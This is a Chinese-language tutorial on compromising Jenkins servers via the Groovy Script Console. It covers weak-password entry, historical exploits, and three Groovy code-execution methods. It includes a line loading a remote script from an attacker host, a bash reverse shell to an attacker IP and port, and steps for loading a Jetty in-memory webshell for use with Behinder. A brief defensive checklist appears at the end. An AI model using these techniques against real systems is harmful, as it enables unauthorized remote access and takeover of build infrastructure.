Jenkins 框架之 Groovy getshell
字数 1063 2025-08-22 12:23:30
Jenkins框架之Groovy Getshell技术研究
环境搭建
Jenkins环境搭建有多种方法,为方便起见,可以直接使用P神提供的现成环境。搭建成功后应确保Jenkins服务正常运行。
利用思路分析
历史漏洞利用
- 可搜索Jenkins历史漏洞进行利用
- 参考工具:JenkinsExploit-GUI (https://github.com/TheBeastofwar/JenkinsExploit-GUI)
弱口令利用
- 当历史漏洞无法利用时,弱口令是最有效的突破口
- 成功登录后结合Groovy脚本进行进一步利用
Groovy代码执行方法
1. GroovyShell
- 高版本JNDI中也有使用
- 形式类似于SPEL模板注入
- 可直接解析脚本文件
示例Groovy脚本(弹出计算器):
"calc".execute()
2. GroovyScriptEngine
- 直接加载脚本,支持多种来源:
- 文件系统
- URL
- 数据库等
- 可利用远程URL加载脚本
- 使用方法:本地开启HTTP服务托管脚本
示例:
def scriptEngine = new GroovyScriptEngine(new URL("http://attacker.com/malicious.groovy"))
scriptEngine.run("malicious", new Binding())
3. GroovyClassLoader
- 可加载字节码
- 在内存马利用中特别有用
回显实现
Groovy实现回显非常简单,只需添加println语句:
println "Command output: ${'whoami'.execute().text}"
Jenkins中的Groovy利用
后台执行位置
Jenkins后台提供了执行Groovy脚本的功能区域,位于"Manage Jenkins" -> "Script Console"。
出网Getshell
- 编写反弹shell的Groovy脚本
- 示例反弹shell脚本(可通过GPT生成):
def cmd = "bash -i >& /dev/tcp/attacker_ip/port 0>&1"
cmd.execute()
- 执行后成功获取反弹shell
不出网Getshell(内存马)
- 分析中间件:Jenkins使用Jetty作为中间件
- 生成Jetty内存马
- 使用GroovyClassLoader加载内存马字节码
- 连接方式:冰蝎等工具
关键点总结
- 环境准备:确保Jenkins环境可访问,最好使用docker快速搭建
- 入口选择:优先尝试弱口令,其次历史漏洞
- 脚本执行:掌握三种Groovy执行方式及其适用场景
- 回显技巧:利用println实现简单回显
- Getshell方式:
- 出网:直接执行反弹shell命令
- 不出网:通过GroovyClassLoader加载内存马
- 工具准备:
- 脚本托管HTTP服务
- 冰蝎等连接工具
- 内存马生成工具
防御建议
- 加强Jenkins访问控制,禁用匿名访问
- 使用强密码策略,避免弱口令
- 及时更新Jenkins版本,修复已知漏洞
- 限制Script Console的使用权限
- 监控异常进程和网络连接